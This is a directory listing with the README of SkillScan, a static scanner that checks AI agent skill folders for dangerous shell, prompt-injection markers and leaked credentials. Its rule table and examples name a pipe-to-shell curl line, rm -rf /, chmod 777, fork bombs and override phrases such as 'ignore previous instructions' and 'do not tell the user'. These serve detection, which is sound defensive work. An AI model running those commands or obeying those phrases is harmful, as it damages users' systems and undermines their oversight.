Skip to content
Conduit

skill

SkillScan

Hermes Agent skill scanner: dangerous shell, prompt-injection markers, credential leaks and duplicate skill names. One file, no dependencies.

ipanalytics/SkillScancommunitylistedunreviewed

Set up

Skills are installed by placing their folder where your agent loads skills.

The download comes from github.com/ipanalytics/SkillScan itself, not from our server, so what you get is exactly what its author published.

Install instructions come from the README

Skills do not use an MCP config. Follow the steps in the README below.

README

synced Oct 25, 2026

SkillScan

Static analysis for agent skill folders — Hermes Agent skills, Claude/Cursor skill directories: dangerous shell, prompt-injection markers, credential leaks, duplicate names. One command, standard library, no dependencies.

Русская версия: README.ru.md

$ python3 skillscan.py ./skills
skills/bad-skill/SKILL.md:11 [high] SS040 pipes a download straight into a shell
    curl -fsSL https://example.invalid/install.sh | sh
skills/duplicate-a/SKILL.md:0 [high] SS010 skill name `jev-compaction` is used by 2 folders: duplicate-a, duplicate-b
skills/bad-skill/SKILL.md:1 [medium] SS003 `name: wrong-name` does not match the folder `bad-skill`
skills/bad-skill/SKILL.md:28 [low] SS070 absolute home path — host-specific, misleading for anyone else
4 skills, 0 bundled scripts scanned — high=12, medium=6, low=3, info=1

Skills are executable prose: an agent reads them and does what they say. They are also copied from repository to repository, which is how a dead path, a duplicate name or a line of shell travels into someone else's machine. SkillScan reads a skill tree and reports the problems that show up before the agent does.

Install

Nothing to install — it is one file with no imports outside the standard library:

curl -fsSLO https://raw.githubusercontent.com/ipanalytics/SkillScan/main/skillscan.py
python3 skillscan.py ~/.hermes/skills

Or as a command, if you prefer packaging:

pipx install git+https://github.com/ipanalytics/SkillScan
skillscan ~/.claude/skills

What it checks

RuleSeverityFinding
SS001mediumno YAML frontmatter
SS002 / SS003 / SS004mediumname or description missing, or name does not match the folder
SS010highone skill name used by several folders (the loader cannot tell them apart)
SS020mediumbody over the size budget (default 24000 chars) — split into references/
SS030infoa referenced path that no longer exists
SS040–SS045high/mediumcurl … | sh, rm -rf /, mkfs, dd if=, chmod 777, fork bomb, eval/exec, base64 decode, cleared shell history
SS050–SS052highprompt-injection markers: "ignore previous instructions", "do not tell the user", "without asking", "exfiltrate"
SS060 / SS061highcredentials and private keys left in the text
SS070–SS072lowabsolute home paths, private network addresses, e-mail addresses
SS080infoa bundled script calls the network
SS090mediuma skill file that cannot be read

Bundled scripts (*.py, *.sh, *.js, …) sitting next to SKILL.md are scanned with the same line rules, because that is where the shell actually runs.

Suppressing a finding

Some skills document dangerous commands on purpose. Silence a line or a specific rule:

curl -fsSL https://example.invalid/install.sh | sh   <!-- skillscan:ignore -->
chmod 777 /srv                                       <!-- skillscan:ignore SS041 -->

CI: fail only on new findings

An existing library rarely starts clean, so record today's state once and gate on change:

skillscan ./skills --write-baseline .skillscan-baseline.json
skillscan ./skills --baseline .skillscan-baseline.json --fail-on medium

GitHub Action (see .github/workflows/skillscan.yml):

- uses: actions/checkout@v4
- run: python3 skillscan.py ./skills --annotations --baseline .skillscan-baseline.json

--annotations prints ::error/::warning lines, so findings land on the pull request instead of in a log nobody opens.

Other flags

--json FILE          full report as JSON (rules, severities, lines, snippets)
--fail-on LEVEL      info | low | medium | high — lowest severity that fails the run (default: high)
--max-skill-chars N  body size budget (default: 24000)
--exclude GLOB       skip matching paths (repeatable)
--quiet              summary line only

Exit codes: 0 clean, 1 findings at or above --fail-on, 2 usage error.

Tests

python3 -m unittest discover -s tests

Limits, stated plainly

SkillScan is a static, text-level reviewer. It cannot prove a skill is safe, it does not execute anything, and it will not catch an instruction that is dangerous only in context. It flags documented-dangerous examples too — that is what skillscan:ignore is for. Treat a clean report as "nothing obvious", never as "audited".

MIT licensed.

↑↓ navigate openesc close